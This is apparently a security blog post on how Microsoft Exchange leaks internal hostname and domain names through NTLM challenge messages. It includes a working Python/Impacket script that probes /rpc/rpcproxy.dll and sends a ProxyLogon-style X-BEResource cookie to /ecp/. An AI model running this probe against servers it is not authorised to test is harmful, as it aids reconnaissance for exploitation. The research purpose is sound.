Home The NTLM Exchange
Post
Cancel

The NTLM Exchange

The NTLM Exchange.

Recently Orange Tsai discovered a great chain of bugs leading to remote code execution from an unauthenticated user in Microsoft Exchange which was widely named as Proxylogon (CVE-2021-26855). While reading the wonderful reproducing proxylogon exploit by Praetorian.

It was mentioned that sending an NTLM Negotiation Message via RPC over HTTP Exchange will return an NTLM challenge message which contains a number of AV_PAIR structures. I was quite interested in three of the AV_PAIR structures - notably, the MsvAVDnsComputerName which contains the Fully Qualified Domain Name (FQDN) of the computer, MsvAVDnsDomainName which contains the FQDN of the domain, and MsvAvDnsTreeName which contains the FQDN of the forest.

I was able to parse the NTLM challenge using the amazing Impacket library.

I wrote the following script to send an NTLM Negotiation to the RPC over HTTP endpoint /rpc/rpcproxy.dll and parsing the challenge to leak the previously mentioned AV_PAIR structures

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import os
import base64
from impacket import version 
from impacket import ntlm, LOG
from impacket import *
import requests
import re
import sys 
import string
import random

print(version.BANNER)

def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
	
	
def leak_info(url):
    leak = url + "/rpc/rpcproxy.dll"

    headers = {"User-Agent": "MSRPC", "Accept": "application/rpc", "Accept-Encoding": "gzip, deflate", "Authorization": "NTLM TlRMTVNTUAABAAAABQKIoAAAAAAAAAAAAAAAAAAAAAA=", "Connection": "close"}
    r = requests.get(leak, headers=headers, verify=False)
    leak_headers = r.headers
    print(leak_headers)
    serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', str(leak_headers)).group(1)
    serverChallenge = base64.b64decode(serverChallengeBase64)
    # Parse NTLM Better.. 

    challenge = ntlm.NTLMAuthChallenge(serverChallenge)
    av_pairs = ntlm.AV_PAIRS(challenge['TargetInfoFields'])
    
    hostname = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
    domain_name = av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le')
    dns_domain = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode('utf-16le')
    random_strings = id_generator(4) + ".js"
    print("\nHostname: {0}\nDomainName: {1}\nDns_Domain: {2}\n".format(hostname, domain_name, dns_domain))
    headers_2={"Cookie": "X-BEResource=localhost~1942062522"}

    ct_data = requests.get("{0}/ecp/{1}".format(url, random_strings), headers=headers_2, verify=False)
    print(ct_data.headers)
    try:
      FQDN = ct_data.headers["X-FEServer"]
    except Exception as KeyError:
      print("Seems to be wrong version..")
      return 0
    if FQDN == hostname:
      print("FQDN & NTLM are the same..: {0}".format(FQDN))
    else:
      print("Seems to be differnet..{0}".format(FQDN))    

if __name__ == '__main__':
    if len(sys.argv) > 1:
        leak_info(sys.argv[1])
    else:
        print("Please include a Exchange Server, Example: https://XXX.XXXX.XXX")

If anyone has any information why Exchange leaks this type of information. Id be happy to learn more, currently i believe it’s due to some backwards compabilty reasons.

This post is licensed under CC BY 4.0 by the author.